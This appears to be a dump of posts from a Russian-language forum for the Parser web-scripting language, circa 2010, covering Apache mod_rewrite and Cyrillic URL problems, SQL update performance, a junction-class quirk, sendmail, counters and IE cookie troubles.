Используем старый parser2,настроен на обработку файлов с расширением html через .htaccess, стоит apache22. После переноса сайта на такую же ось и софт, вылезла проблема, которую я решал уже с год назад, но сейчас никак не могу вспомнить, а записи потерялись. Суть - при запросе просто html файла - он парсится нормально. А если вызвать файл, в котором единственная строчка - вызов того же html \
через ssi, т.е. <!--#include virtual=\"test.html\" -->, то он также парсит, НО вставляет в конец файла бинарный мусор какой-то. \
помню, что решение какое-то ... жутко простое, но куда копать - убей не пойму. Уже потратил часа 3, сравнивая конфигурации двух серверов - все одинаковое. Может кто сталкивался? Спасибо"
"73080","хы. спасибо, уже не надо. взял тот бинарный мусор, сохранил в файл, оказалось, это архив. ну а дальше дело техники. т.е. то что выдавал parser попадало под mod_deflate, и некорректно отображалось. отключил - все заработало."
"73081","Наткнулся на странное.\
Apache 2.x (под рукой 2.2.4 и 2.2.15) ошибочно интерпретирует URL, содержащий что-либо, выходящее за рамки US-ASCII.\
Естественно символы заэскейпенны, как через taint[uri], так и браузерами, при ручном вводе в строку адреса.\
\
Сайт работает в UTF-8, кодировка AddDefaultCharset в Apache — UTF-8 (на результат не влияет, можно и Windows-1251 выставить).\
Платформа — Win (Windows 7 x64, русская).\
\
Пример.\
Запрос: /blog/тест/ (в коде как /blog/%D1%82%D0%B5%D1%81%D1%82/).\
Htaccess:\
[code]RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule ^(.*)$ _ind.html?_action=$1 [QSA][/code]\
Окружение (смотрим через Perl):\
[code]QUERY_STRING = _action=blog/N???N?N?/\
REDIRECT_QUERY_STRING = _action=blog/тест/\
REQUEST_URI = /blog/%D1%82%D0%B5%D1%81%D1%82/[/code]\
\
Вот это «N???N?N?» смущает, явно беда с перекодированием.\
Соответственно, до скриптов доходит в лучшем случае «/blog/n».\
\
Нашёл несколько случаев подобного:\
http://stackoverflow.com/questions/2916194/trouble-with-utf-8-chars-apache2-rewrite-rules\
http://www.answerium.com/article35/\
http://2lx.ru/2009/12/mod_rewrite-i-peredacha-specsimvolov/\
\
Директива B, вызывает падение Apache при попытке запуска Парсера, вариант с переменной в mod_rewrite пока не пробовал.\
\
Вопрос: наблюдается ли у кого подобное? На какой платформе, с какой версией?\
Под Apache 1.3 безо всяких проблем работаю с кириллицей в URL.\
Есть подозрение на Win, т.к. под FreeBSD подобного не наблюдается.\
\
Видимо, не часто используется Win + Apache, проблема редкая."
"73084","но т.к. есть ключ B и он работает, то в общем-то проблемы нет :)"
"73085","Он есть в версии > 2.2.7.\
И у меня почему-то не работает, зараза…"
"73086",".htaccess\
[code]\
RewriteEngine on\
RewriteCond %{REQUEST_URI} ^/zigi/\
RewriteRule ^(.*)$ /z.html?_action=$1 [B,QSA]\
[/code]\
\
z.html\
[code]\
$request:charset[utf-8]\
$response:charset[utf-8]\
^$env:REQUEST_URI=$env:REQUEST_URI=<br />\
^$env:QUERY_STRING=$env:QUERY_STRING=<br />\
^$form:_action=$form:_action=<br />\
[/code]\
\
http://сервер/zigi/хрен =>\
[code]\
$env:REQUEST_URI=/zigi/%D1%85%D1%80%D0%B5%D0%BD=\
$env:QUERY_STRING=_action=zigi%2f%d1%85%d1%80%d0%b5%d0%bd=\
$form:_action=zigi/хрен=\
[/code]\
\
\
Perl не установлен, звиняй :)"
"73087","Сейчас под рукой той конфигурации нет, ошибка a-la: «[client 127.0.0.1] (22)Invalid argument: couldn't create child process: 22: parser3.cgi, referer: ...»."
"73089","Это Денвер, там CGI-заглушка, которая дёргает .exe.\
Да, надо будет попробовать прописать обработчик напрямую."
"73090","может у них ещё какие необычные опции включены?\
просто у меня установка по умолчанию, конфиги правились минимально."
"73091","[code]<IfModule mod_rewrite.c>\
	RewriteEngine On\
	RewriteBase /test/\
	RewriteRule ^(var1|var2)(\\d+)/?$ ?$1=$2&mod_rewrite=1\
</IfModule>[/code]\
\
Вопрос: [i]Как составить еще одно правило, которое бы совпадало с самой папкой, на которую указывает[/i] [code]RewriteBase /test/[/code][i]?[/i]"
"73092","[quote]может у них ещё какие необычные опции включены?[/quote]\
\
Сомневаюсь.\
Под ним же с Apache 1.3 никаких проблем.\
\
Вечером покручу.\
Вот и новая версия ПО, блин."
"73094","[code](22)Invalid argument: utf8 to ucs2 conversion failed on this string: REDIRECT_QUERY_STRING=_action=blog%2f\\xd1%82\\xd0\\xb5\\xd1\\x81\\xd1%82%2f\
[Fri Jul 02 22:21:04 2010] [error] [client 127.0.0.1] (22)Invalid argument: couldn't create child process: 22: test.pl\
[Fri Jul 02 22:21:04 2010] [error] [client 127.0.0.1] (22)Invalid argument: couldn't spawn child process: Z:/home/cgi-glob/test.pl][/code]\
\
Прописал Парсер обработчиком напрямую.\
Ещё веселей:\
[code][Fri Jul 02 22:58:46 2010] [error] [client 127.0.0.1] Invalid URI in request GET /blog/%D1%82%D0%B5%D1%81%D1%82/ HTTP/1.1[/code]"
"73095","Наличие этого правила [code]RewriteRule ^$ ?mod_rewrite=1[/code] не дает отрабатывать другим, то есть не дает передавать другие параметры, если они есть..."
"73096","[i]Как сделать, чтобы правила не перекрывались?[/i]\
\
[code]<IfModule mod_rewrite.c>\
	RewriteEngine On\
	RewriteBase /test/\
	RewriteRule ^(var1|var2)(\\d+)/?$ ?$1=$2&mod_rewrite=1\
	RewriteRule ^$ ?mod_rewrite=1\
</IfModule>[/code]\
\
От их перемены мест ничего не помогает, в конце всегда вызывается файл [b]/?mod_rewrite=1[/b]\
\
Может подскажите какие-нибудь дополнительные правила типа last или skip"
"73098","[code]\
RewriteEngine On\
RewriteBase /test/\
RewriteRule ^(.*)$ $1?mod_rewrite=1 [L,QSA]\
[/code]\
не оно?"
"73099","Все просто, есть каталог, по умолчанию выводящий структуру, при передачи параметра с категорией, он должен ее отобразить\
\
мне нужно передавать параметр ?mod_rewrite=1, когда было обращение к корневой папке, и ?var1=val1&mod_rewrite=1, когда было обращение к поддиректории"
"73100","есть таблица замены:\
[code]/test/ -> /test/?mod_rewrite=1\
/test/asd1 -> /test/?asd=1&mod_rewrite=1\
/test/qwe322 -> /test/?qwe=322&mod_rewrite=1\
....[/code]\
и т.д."
"73101","И зачем эти параметры и отдельный mod_rewrite?\
Что мешает передать весь путь одним параметром и спокойно, зная его, показывать что нужно?\
\
[code]\
RewriteEngine On\
RewriteRule ^(.*)$ handler.html?url=$1 [L,QSA]\
[/code]"
"73102","за тем, что код составлен таким образом, что если mod_rewrite работать не будет, не потребуется никакого вмешательства, и сайт сам переформирует все ссылки"
"73103","Т.к. правило сработает только если запрос пуст, т.е. строго к корню.\
\
Вот так у меня работает:\
[code]RewriteEngine On\
RewriteBase /test/\
\
RewriteRule ^$ ?mr=1 [L,QSA]\
RewriteRule ^(asd|foo)(\\d+)/?$ ?$1=$2&mr=1 [L,QSA][/code]"
"73104","copy/paste вашего кода и изменение порядка rule на противоположный полностью решает вашу задачу (ну... точнее не полностью, т.к. то, что вы пишите в правиле с varX не соответствует тому, что вы ожидаете получить [URL=/forum/?id=73100]тут[/URL]).\
\
/test/.htaccess\
[code]\
RewriteEngine on\
RewriteBase /test/\
RewriteRule ^$ ?mod_rewrite=1 [QSA]\
RewriteRule ^(var1|var2)(\\d+)/?$ ?$1=$2&mod_rewrite=1 [QSA]\
[/code]\
\
/test/index.html\
[code]\
^form:fields.foreach[k;v]{$k=$v}[<br />]\
[/code]\
\
http://localhost/test/var123 =>\
[code]\
mod_rewrite=1\
var1=23\
[/code]\
\
http://localhost/test/ =>\
[code]\
mod_rewrite=1\
[/code]\
\
\
если всё равно не работает -- то наверное пришло время сообщить о версии вашего веб сервера, т.к. работа rewrite-ов у старых версий немного отличается.\
\
P.S. проверял на Apache 2.2.11 на win32"
"73105","дык может какая опция стала работать чуть иначе.\
\
я не думаю, что в апаче 2.2.15 это поломалось. но в принципе могу попробовать поставить его для проверки.\
скорее всего что-то в его настройках (например подключен/не подключен какой-нить нужный модуль)."
"73106","Нет, ставить — это излишне, благодарю.\
Буду крутить, пытаясь запустить.\
Это не вопрос первостепенной важности — без кириллицы в URL я проживу — сам случай странный и редкий.\
\
P.S. Видимо, [url=\"http://www.parser.ru/forum/?id=73104\"]поломалось выделение ссылок в тексте[/url]."
"73107","но не понимаю, почему работает только с [QSA], ведь я не добавляю и полностью изменяю URI"
"73108","[code]?$1=$2&mod_rewrite=1[/code]\
Разве не добавление параметров?"
"73109","Хочу показать одну из замечательных возможностей, для наших кодеров:\
[b]Codding на русском[/b]\
\
Пример:\
Файл /shop.p\
\
[code]@CLASS\
магазин\
\
@получитьТоварыКатегории[category_id]\
	^connect[$MAIN:SQL.connect-string]{\
		$result[^table::sql{SELECT.....\
#	Здесь реализация метода\
\
@добавитьТоварВКорзину[product_id;quantity;session]\
	^connect[$MAIN:SQL.connect-string]{\
		$result[^table::sql{SELECT\
#	Здесь реализация метода\
\
#.....[/code]\
\
\
Идем дальше...\
\
Применение:\
\
[code]\
^use[/shop.p]\
#....\
$goods[^магазин:получитьТоварыКатегории[$form:category_id]]\
^if($goods > 0){\
#....\
}[/code]\
\
\
Программируя таким образом вы всегда сможете четко понимать, спустя любое время, что и как должно работать"
"73110","Сомнительное преимущество и удобство...\
\
...навскидку два недостатка:\
1. Переключать раскладку во время работы с кодом будет неудобно и со временем начнет раздражать\
2. В консоли с таким кодом работать также будет неудобно - хотя бы потому, что на FreeBSD и Linux настройки локали из коробки разные (grep -r \"кусочек_кода\" /var/www/mysuperprojects/docs уже не всегда пройдет)\
\
Напоминает 1С, но там двух этих недостатков нет, поэтому там это имеет право на жизнь. Хотя, я думаю, их мотивом делать свой программный язык на русском была цель дать возможность программировать под платформу как можно более широкому кругу пользователей пост-советского пространства"
"73111","Если кодить на utf-8 проблем нет, с раскладкой, это не беда, учесть хотя бы то,что лучшее решение, это применять русский только в названиях методов классов, что упрощает их понимание.\
Кодинг внутри метода и снаружи -- на английском"
"73112","Реально мечта программиста на Parser - это анализатор кода для Eclipse/Aptana :) Тогда можно будет быстро находить что к чему по коду + подсказки по коду. Вот это было бы реальным плюсом."
"73119","Проблема:\
2 таблицы, из одной берется цена, умножается на нужный коеффициент и заливается в другую след кодом:\
[code]\
^if(def $form:update){\
\
^connect[$connect_string]{\
$erc[^table::sql{select products_ean, products_price from erc_database where products_id>1 }]\
}\
^erc.menu{\
$products_price[^eval($erc.products_price*1.2)[%.2f]]\
^connect[$connect_string]{\
^void:sql{update products set products_price='$products_price' where products_model='$erc.products_ean'\
}\
}\
}\
} [/code]\
В базе околок 3000 строк.\
По моему сервер просто не тянет. как оптимизировать? может нужно как-то паузы вставить через н-ное кол-во операций?\
\
Гуру, подскажите... Заранее спасибо"
"73120","UPDATE products,erc_database SET products.products_price = erc_database.products_price*1.2 WHERE products.products_model = erc_database.products_ean AND erc_database.products_id > 1"
"73123","Как вариант, как это реализовано в IPB.\
в админке при всяких операциях зачистки, можно выставить количество одновременно обрабатываемых записей.\
И делать это в несколько проходов.\
И как ужу написали, может стоит все в один запрос укомплектовать, у БД сервера явно мощи побольше будет."
"73124","Пробовал малтиапдейтом - не тянет :("
"73125","если пробовали -- может покажете что именно вы попробовали сделать?\
\
и вы уверены, что в вашем случае проблема именно в этом?\
\
просто какие-то 3 тысячи строк для sql -- это мелочь."
"73126","В логе апача посмотрите, а то может и не туда копаете"
"73127","Апач пишет: [code][Tue Jul 06 22:28:17 2010] [warn] [client 213.238.4.19] Timeout waiting for output from CGI script /home/pro/public_html/dat/cgi-bin/parser3.cgi, referer: http://dat.proz.com.ua/lings/\
[/code]?"
"73128","но вы пробовали этот один запрос вынести в отдельный тестовый файл?\
или сразу после запроса воткнуть ^throw[;here]\
\
и выяснить, какой у вашего апача timeout?\
\
P.S. вы так и не показали ваш запрос"
"73129","[code]INSERT INTO products\
(…, price)\
SELECT …, products_price * 1.2\
FROM erc_database\
WHERE products_id > 1[/code]"
"73131","120 сек на один update, который модифицирует всего-лишь 3000 строк в БД -- это ненормально.\
\
если на таблицах есть необходимые индексы, то это у вас очень тормозной sql сервер похоже."
"73132","Если значением $uData будет переменная типа junction, то такой код \
\
[code]$uData.CLASS_NAME[/code]\
\
вызывает ошибку:\
\
[code]CLASS_NAME\
\
is 'junction', it has no elements[/code]\
\
---------------------\
\
Мне кажется, что так быть не должно, по-хорошему. ))"
"73133","Ведь $uData - это не объект, не метод. Просто кусочек кода..."
"73134","http://www.parser.ru/docs/lang/junctionclass.htm\
[quote]\
Junction (класс) \
Класс предназначен для хранения кода и контекста его выполнения.[/quote]\
\
Если я не ошибаюсь, в последней версии парсера у всех классов и их объектов есть системное поле CLASS_NAME\
http://www.parser.ru/docs/lang/obj.htm\
http://www.parser.ru/docs/lang/defineclass.htm\
\
[quote]Системное поле класса: CLASS_NAME   [3.2.2] \
$объект.CLASS_NAME - хранит имя класса объекта. [/quote]\
\
Так, например, можно прочитать значение поля CLASS_NAME и у объектов и самого класса table\
[code]\
$tab[^table::create{...}]\
$tab.CLASS_NAME\
$table:CLASS_NAME[/code]\
\
И, пока что, со всеми классами у меня проблем не возникало. \
Ровно до тех пор, пока я не наткнулся на Junction.\
\
При том, что в моем примере в переменной $uData хранится не \"контекстный\" код, задаваемый таким образом:\
[code]$uData{код}[/code]\
а именно ссылка на ранее определенный метод одного из классов.\
[code]$uData[$Класс:метод][/code]\
\
Конечно, есть способ решить задачу проверки типа оператором is \
[code]^if($uData is \"junction\"){\
	$sClassName[junction]\
}{\
	$sClassName[$uData.CLASS_NAME]\
}[/code]\
\
Но это, на мой взгляд, не есть здорево на фоне того, что для всех остальных случаев этот древний и назойливый вопрос (определения типа переменной) получил простое и элегантное решение.\
\
-----------------------------\
PS. Вообще, конечно, с junction гораздо больше непоняток было и остается, но к ним уже как-то удалось привыкнуть. Надеялся, что хотя бы с CLASS_NAME он будет вести себя \"как все\", но не тут-то было. Жаль.\
\
Но хотелось бы понять в чем подвох )))"
"73137","Парсер реально завести нативно под Nginx не используя Апач?\
Насколько я понимаю Nginx поддерживает только FastCGI, а это стандарт подразумевающий другой способ обмена между веб-сервером и интерпретатором, не через STDIN/STDOUT а вроде как через сокеты. \
Можно как-то завести Парсер под nginx? Или как сделать легкую FastCGI надстройку для парсера?"
"73138","В планах стоит FastCGI-версия, но говорить о сроках сложно. А вот чем не устраивает связка Nginx+Apache+Parser не совсем понятно. Собрать Apache в режиме тредов с минимум модулей и поставить его бэкэндом к Энжинксу не проблема, и производительность будет на высоте. При желании можно собрать Apache 1.3 с mod_parser, что по сути не сильно будет отличаться от FastCGI-варианта."
"73141","Знаю, что вы разбираетесь, подскажите SCGI намного быстрее чем FastCGI? Насколько я знаю FastCGI использует сокеты, а simple - битовые потоки... как бы спешу предположить что и ввиду более простой реализации и ввиду неиспользования сокетов, SCGI должен быть намного быстрее, но это очень поверхностное суждение, насколько я далек от истины?"
"73142","... мне кажется, что вы не там ищете. Основное время при работе с Парсером уходит на компиляцию кода (в большинстве случаев это очеь быстро), работу самого скрипта и сервера баз данных. При этом тип протокола обмена настолько неважен, что даже не стоит на это тратить время. Максимальное преимущества, которое можно получить при переходе от FastCGI к CGI - это отсутствие накладных расходово на запуск процесса Парсера и, если это будет реализовано, кеширование откомпилированного кода в памяти. Я ни в одном проекте в это не упирался, а вот в базу данных и плохой код на Парсере да. Так что ни SCGI ни FastCGI не даст какого-то значимого выигрыша в производительности."
"73143","Если вам понадобиться разбить число по разрядам:\
10000 => 10 000\
[code]\
$price(300000)\
^price.match[\\B(\\d{3})+^$][g]{&nbsp^;$match.1} руб.[/code]\
\
\
[i]P.S.> Раньше искал, так и не нашел простого решения[/i]"
"73145","Здравствуйте! Подскажите пожалуйста, работает ли парсер с:\
1) он может работать с REF-курсорами oracle ?\
2) с возвращаемыми параметрами из процедур (тоже oracle)?"
"73146","Соответственно, если возникают ошибки, то какие. Ну и код тоже не мешает показать."
"73147","По мне так правильнее называть это \"кодом\", поскольку и класса-то такого нет:\
\
[code]	/// VJunction: 0\
	override VStateless_class *get_class() { return 0; }\
[/code]\
\
Другое дело, что конкретную проблему исправить совсем не сложно,\
и вероятно мы это сделаем."
"73149","В общем задача, насколько я понимаю терзала многих. Теперь она терзает и меня).\
Суть, необходимо построить иерархию структуры, которая представлена в MySQL, классический вариант id,parentId. Вложенность может быть любая. Хотел все это сделать через хешь, но не получается динамически расширять его. Может я не с той стороны подхожу к вопросу?\
На выходе надо иметь ul li или select с пробелами +).\
PS Самое подходящее решение, это использовать NESTED SETS, но как-то слишком сложно манипулировать такими данными. С после двух прочтений механизма управления, все равно до конца не понимать.\
второе, которое я нашел в интернете, это рекурсивный селект в базу. Это же ахтунг какой-то."
"73152","Спасибо"
"73153","Тоже наткнулся на неудобство в связи с отсутствием метода остановки. Бывает нужно в корневом auto.p написать такое:\
\
[code]@auto[]\
^if(условие){\
 $env:location[куда то там]\
}\
[/code]\
но парсер все равно отработает весь остальной код как будто этого условия нет. Конечно это решается, например переносом всего кода в метод отличный от main и вызовом его в else секции, но все таки как-то это костыльно, имхо.\
\
Не планируется?"
"73155","[code]\
...\
^throw[stop]\
...\
[/code]\
\
[code]\
@unhandled_exception[exception;stack]\
^if($exception.type eq \"stop\"){\
# ... перехватываем исключение и не выдаём ошибку\
}{\
# ... что было раньше\
}\
[/code]\
\
%-)\
\
P.S. fun: вместо ^throw[stop] можно использовать (с небольшой модификацией метода @unhandled_exception)... ^stop[] :)))"
"73156","Мастерхост перенёс сервер на FreeBSD 7.0\
\
Перестал работать ^sendmail[]\
\
Что делать? Можно ли это исправить какими-нибудь пересборками, настройками?"
"73157","очень странно, что разработчики делают вид что этого сообщения нет\
\
проекты, которые писались на втором парсере теперь превратились в груду неработающего кода\
\
что делать? как можно обойти? можно ли как-то  заставить работать sendmail?"
"73159","Нужен программист на Парсере который доделает один из уже существующих проектов.\
\
Условия и предложения обсуждаются по почте.\
\
knocc@rambler.ru."
"73160","Или может у всех программ, которые пробуют запускать sendmail?\
В парсере прошиты такие пути: /usr/lib/sendmail /usr/sbin/sendmail.\
Там что-нибудь есть? Из командной строки получается отправить (/usr/lib/sendmail -t)?\
\
P.S. С точки зрения запуска sendmail ни в FreeBSD 7, ни в FreeBSD 8 ничего не менялось."
"73164","теперь при запуске внешнего скрипта парсер устанавливает переменную окружения PARSER_VERSION.\
\
и если при своём запуске он обнаруживает, что эта переменная окружения установлена, то он запускается не как cgi, а просто как консольное приложение."
"73165","Конечно прошу прощенья за оффтоп, но все таки...\
\
подскажите в чем может быть проблема когда конструкция \
\
<IfModule mod_rewrite.c> \
RewriteEngine On \
RewriteBase /\
RewriteRule ^page/(.*)/$ /page.html?item=$1 [L]\
</IfModule>\
\
при обращении к странице /page/information/ отправляет на /page.html/information/ \
\
не могу понять в чем проблема...\
Нужен Ваш совет. \
Спасибо всем"
"73167","попробуй\
RewriteRule page/(.*)/$ /page.html?item=$1 [L]\
насколько я понимаю, надо указывать что-то одно, или начало текста или конец."
"73168","Не помогло...\
\
в логе mol_rewrite'а пишет:\
193.19.184.16 - - [23/Jul/2010:14:58:42 +0300] [lib.vstu.vinnica.ua/sid#8184818][rid#82f4ad0/subreq] (3) [perdir /var/www/] applying pattern 'page/(.*)/$' to uri 'page.html/lib-acivity/'"
"73169","ну если после page может быть только один каталог\
page/([^\\/]+)/$"
"73170","такая же реакция..."
"73171","Может ли быть проблема в серверном mod_rewrite модуле? и вообще эти модули всегда одинаковы на всех серверах используются? Это я к тому что пробовал на других серверах и проблем не было, а тут вот такие не приятности..."
"73172","я использую вот этот [url=\"http://realcode.ru/regexptester/Default.aspx\"]инструмент[/url] и в нем все хорошо )"
"73173","Спасибо, что заметили. Конструктор копирования хеша (не парсерный, а в исходном коде) не сохранял порядок."
"73174","И еще... Забавно, но не понимаю почему на видно файлов .htaccess на фтп сервере? хотя они точно там есть, так как в противном случае парсер бы не работал вовсе, так модулем апача он точно не установлен... В чем может быть причина? В конфигурации сервера или нет...?"
"73177","P.S. наверное \"в порядке их загрузки\" следует понимать как \"в порядке их отправки браузером\"."
"73178","Приветствую! Что-то никак не могу найти ни в документации, ни тут в форуме как мне обратно вернуть нормальный вид русским буквам после того как они прошли ^taint[uri] преобразование. Бился, бился и осталось только тут спросить. Надеюсь на вашу помощь!\
\
То есть что-то типа \"%D1%EC%EE\" преобразовать в нормальный вид... Наверно это очень просто, да? ;)"
"73180","подразумевается, что так кодируются ссылки.\
а при переходе по подобным ссылкам их декодированием занимается веб-сервер.\
\
но есть replace, так что можете ручками."
"73182","возможно и вам оно не надо, но вы ведь скрываете вашу задачу.\
\
P.S. но в форуме кто-то писал."
"73183","У меня не работал сплит по пробелам, и чтобы определить почему некоторые символы в базе выглядят как пробелы но они не пробелы я их конвертнул через ^taint[uri] и увидел да, коды тех \"пробелов\" были далеко не пробельными кодами. Их я заменил на нормальные пробелы и всё заработало. Но часть информации в базе была на русском (небольшая, но всё же нужная), и вот она-то и осталась в том преобразованном виде :(\
\
Кстати, есть бэкап, и если есть мысли как проделать операцию по приведению пробелов к стандартному виду - буду благодарен за идеи.\
\
Кто-то в форуме писал? По каким ключевым словам искать-то?) Я пробовал всякое - что-то пусто :("
"73184","попробуйте поработать с бекапом, если текст в утф8, то вставить тот непонятный пробел и заменить его на нормальный )"
"73186","по моему лучше восстановить всё из бакапа и сделать замену ещё раз, только менять именно кривые пробельные символы, используя ^#XX в replace или \\xXX в match.\
\
а коды русских символов в вашей кодировке вы можете сами выковырять из парсерных файлов с кодировками (для 1251 они там начинаются кажется с 0xC0, а ещё виндовая charmap вам в помощь)."
"73187","Я использовал броузер как дешифратор ;)\
Искаженную запись я посылал в адресную строку (decode.html?str=%D1%EC%EE), откуда сохранял $form:str обратно в базу, и так в цикле. Вуаля!) Благо записей было не так много.\
\
Всем спасибо за советы!"
"73188","Собственно, часто приходится работать со строками, в том числе, делать замены.\
\
Создавать таблицу подстановок ради замены одного фрагмента на другой мне кажется неудобным и громоздким.\
\
Мне кажется, что если изменить поведение метода replace - то писать код будет удобнее, при этом совместимость нарушена не будет.\
\
Если в качестве агрумента методу replace передается таблица подстановок - все как сейчас. Если методу передаются две строки:\
\
[code]^строка.replace[подстрока][строка_замены][/code]\
\
то происходит замена первой строки на другую."
"73189","У меня в индексе есть страница. Например /test/\
А еще есть куча дублей. Например /test/?test=1\
/test/?test=2\
\
Как в роботс оставить /test/ и запретить дубли.\
Disallow: /test/?\
Я так не убью и основную страницу? )))\
???"
"73190","Не думаю, что на одиночных строках матч сильно медленнее, чем реплейс."
"73191","https://www.google.com/webmasters/tools/home?hl=ru"
"73192","хотя, возможно, я ошибаюсь, и это вопрос удобства/привычки"
"73193","Так и регулярное выражение можно создать один раз через  http://www.parser.ru/docs/lang/regexcreate.htm"
"73195","хотя возможно это не ваш случай, и для вашей задачи так сделать не получится.\
\
тем не менее, создание однострочной таблицы для replace или использование для этого случая match -- нормальный вариант.\
если вопрос стоит в экономии символов для написания этой конструкции -- так создайте себе для этого удобный пятистрочный оператор."
"73196","Ну что, что я не так делаю? :(\
\
Привожу текст без куков и условий.\
\
[code]# полезли, взяли:\
^connect[mysql://root@localhost/counter]{ \
$counter[^int:sql{SELECT * FROM `total` WHERE 1}]\
\
# инкремент:\
$count($counter+1)\
\
# засунули: \
^void:sql{UPDATE  `total` SET  `total` =  '$count' WHERE CONVERT(  `total` USING utf8 ) =  '$counter' LIMIT 1 ;}\
\
#вынули:\
$counted[^int:sql{SELECT * FROM `total` WHERE 1}]\
}[/code]\
\
Анхендлд. Проблема в строке \"засунули\":  'sql' options must be hash, not code.\
\
Уж и так я его, и void, и int... Документацию перерыл до косоглазия. КАК дать запрос на коррекцию ячейки? Не создание строки, не подгрузка файла, а именно подмена данных в ячейке?\
\
Спасибо."
"73197","Глючила точка с запятой в sql-коде, решилось птичкой."
"73198","я так понимаю, точку запятую вообще ставить не надо)"
"73199","[code]\
^void:sql{UPDATE  `total` SET  `total` =  `total` + 1 WHERE ...}\
[/code]\
не?"
"73200","Спасибо).\
\
Это лучше, да."
"73201","Наверное, я тупо копипастил запрос из интерфейса phpmyadmin :).\
\
Я так понимаю, что при шквале юзеров мой код в принципе будет давать глюк.\
\
Ну, искать в БД единственную ячейку [i]по её старому значению[/i] теоретически опасно - за время обработки она может измениться чужим заходом :).\
\
Или скорости таковы, что этой вероятностью можно пренебречь, не знаю."
"73202","тут уж вам видней, это только лишь пожелание :)"
"73203","ээ, а что у вас за счетчик. Зачем вам точное его значение после апдейта? Если это счетчик показа вполне реально что он может измениться."
"73204","Да, показа.\
\
В БД одна таблица с одной ячейкой. Там написано, допустим, 13.\
\
\
Четырнадцатый пациент А. подключается, прибавляет 1 к 13,\
после чего [i]ищет в бд ячейку со значением 13,[/i] чтобы вставить туда 14. Таков мой кривой запрос.\
\
Пока он думает, какой-то другой четырнадцатый, положим, успел просочиться и подменить счетчик. В таком случае, [b]что увидит пациент А.[/b] при невозможности найти ячейку, где 13?"
"73206","Как это сделать эффективно для MySQL описано в http://www.mysqlperformanceblog.com/2008/04/02/stored-function-to-generate-sequences/ (собственно хранимую функцию делать не надо - надо взять идею хранения и инкрементирования счетчика)."
"73207","Добрый день!\
\
Не могу записать куку в IE (версия 8)\
В прочих браузерах (Опера 10.60, ФФ 3.6.6, ГХ 5.0.375.125) всё нормально, а тут не пишется и всё!\
Код такой:\
\
$cookie:sid[\
$.value[$cookie:sid]\
$.expires[^date::unix-timestamp(^date_now.unix-timestamp[]+$sid_cookie_ttl*60)]\
]\
\
$sid_cookie_ttl лежит в базе, считается в минутах для удобства.\
\
Есть какие-то тонкости с этим? Подскажите!"
"73208","для начала надо проверить что в политиках безопасности IE и не отключены ли у него куки :)\
\
потом надо попробовать убрать задание expires\
\
ну и наконец надо объяснить нам, что вы пытаетесь записать. в вашем случае код упрощается до такого:\
[code]\
$cookie:sid[$cookie:sid]\
[/code]\
\
т.к. изначально в этой куки ничего нет, то там ничего и не оказывается.\
у меня есть ощущение, что это вы опечатались при написании сообщения в форум, но я не могу знать, в чем ещё вы опечатались :)"
"73209","Есть задача, которую не могу решить. Существует cfg с единственной колонкой - там 88 ссылок, допустим. Нужно эту таблицу на лету в html поделить на три текстовых блока. Логически знаю: берем count таблицы и делим на 3 без остатка (остаток грубо приближаем). Берем эту разность (30) и показываем от 1 до 30 строк в первом столбце. Во втором от 31 до 61 строк, а все остальное - в третий. Это так в воображении, а как в коде - не знаю, останавливаюсь."
"73210","В моём примере я куку обновляю, я ещё получил выше, проверил, и добавил \"жизни\" на вычисленнный параметр. типа $cookie.ttl+=15min\
. а пишу uid64, сессию поддерживаю живой, с базой сверяю. но это не суть. :)\
\
С настройками IE нет вопросов - самый низкий уровень, да и сайты работают прочие с куками...\
\
expires - по-другому \"собирал\", удалять нельзя, мне важно это - не помогло. В других браузерах-то работает...\
в кэше IE не появляется файлик на эту куку, у файрфокса - да, и минуты-секунды  мои приплюсованные также видны. Может вы подскажете другой способ \"продлить\" куку?\
\
P.S. через IE смотрел на других компах, также не видно в нем и также хорошо видно в прочих браузерах :("
"73211","...  то проблема исключительно в браузере. А проверить что выдается можно через какой-нибудь Firebug, если уж использовать консольные curl или wget для Вас сложно. :)"
"73212","$tLinks таблица с единственной колонкой href\
$iCols(3)\
[code]\
<table>\
^tLinks.menu{\
	^if(^tLinks.line[] % $iCols == 1){<tr>}\
	<td^if(^tLinks.count[] % $iCols > 0 &&  ^tLinks.count[] == ^tLinks.line[]){ colspan=\"^eval($iCols - (^tLinks.count[] % $iCols) + 1)\"}>$tLinks.href</td>\
	^if(^tLinks.line[] % $iCols == 0){</tr>}\
}\
</table>\
[/code]\
\
работоспособность не проверял"
"73213","Так, что удалите если что, ибо \"посмотреть\" сообщение до \"отправить\" нет.\
[code]\
@print[in_params][lparams;nav_count;page_number;first_nav;last_nav;separator;url_separator;ipage;i;title]\
^if($page_count > 1){\
	$lparams[^hash::create[$in_params]]\
	^if(def $lparams.mode){\
		$mode[$lparams.mode]\
	}\
	$nav_count(^lparams.nav_count.int(5))\
	$first_nav($current_page_number - $nav_count \\ 2)\
	^if($first_nav < 1){\
		$first_nav(1)\
	}\
	$last_nav($first_nav + $nav_count - 1)\
	^if($last_nav > $page_count){\
		$last_nav($page_count)\
		$first_nav($last_nav - $nav_count)\
		^if($first_nav < 1){$first_nav(1)}\
\
\
#--- DEBUG VIEW ---\
<div style=\"background-color:#000000^;color:#00AA00^;padding:5px^;width:95%^;position:static^;bottom:0%^;font-size:11px^;font-family:Verdana\">\
	<div>Debug Console \\\\ \
		<a href=\"#debug-on\" style=\"color:#00AA00\" OnClick=\"debug86.style.display='block'\">on</a> |\
		<a href=\"#debug-off\" style=\"color:#00AA00\" OnClick=\"debug86.style.display='none'\">off</a>			\
	</div>\
	<div id=\"debug86\" style=\"display:block\">\
$GL_debug <br><br>\
	</div>\
</div>\
#--- / DEBUG VIEW ---\
[/code]"
"73214","А лучше воспользоваться http://softwaremaniacs.org/soft/highlight/ - пусть ресурсы на раскраску кода тратит браузер, а не сервер."
"73215","всё есть, ага. и оттуда, и отсюда.\
А В IE НЕ РАБОТАЕТ!\
\
\
GET /profile/?up HTTP/1.1\
Host: <censored>.ru\
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.9.2.8) Gecko/20100722 MRA 5.5 (build 02842) Firefox/3.6.8 (.NET CLR 3.5.30729)\
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
Accept-Language: ru,en-us;q=0.7,en;q=0.3\
Accept-Encoding: gzip,deflate\
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7\
Keep-Alive: 115\
Connection: keep-alive\
Cookie: uid=63902CE094C1A45B; sid=A3D5530F713B4F5F\
\
\
HTTP/1.1 200 OK\
Date: Mon, 02 Aug 2010 19:10:13 GMT\
